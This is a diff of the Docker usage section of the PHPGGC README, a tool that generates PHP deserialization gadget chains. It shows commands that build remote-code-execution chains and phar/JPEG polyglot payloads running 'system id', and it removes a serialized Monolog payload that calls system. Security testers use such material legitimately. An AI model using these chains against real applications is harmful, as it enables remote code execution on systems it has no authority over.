@@ -332,32 +332,38 @@ For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetc
332
332
333
333
# Docker
334
334
335
- If you don't want to install PHP, you can use ` docker build . -t 'phpggc' ` .
335
+ If you don't want to install PHP, you can build a docker image using:
336
336
337
- ### To generate a gadget chain.
337
+ ```
338
+ $ docker build . -t 'phpggc'
339
+ ```
340
+
341
+ You can then used the dockerized ` phpggc ` .
342
+
343
+ ### To generate a gadget chain
338
344
339
345
```
340
346
$ docker run phpggc Monolog/rce1 'system' 'id'
341
- O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}
342
347
```
343
348
344
349
### To test a chain
345
350
346
- jump to your environment's folder and run the chain argument-free, with the ` --test-payload ` option:
351
+ Jump to your environment's folder and run the chain argument-free, with the ` --test-payload ` option:
347
352
348
353
```
349
354
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
350
355
```
351
356
352
357
### To generate phar / polyglot files
353
358
354
- > ** Obs ** : The command must be executed in the directory where the input image is located.
359
+ > Note : The command must be executed in the directory where the input image is located.
355
360
356
361
```
357
362
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
358
363
```
359
364
360
- To run ` test-gc-compatibility.py ` from docker.
365
+ ### To run ` test-gc-compatibility.py `
366
+
361
367
```
362
368
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
363
369
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
0 commit comments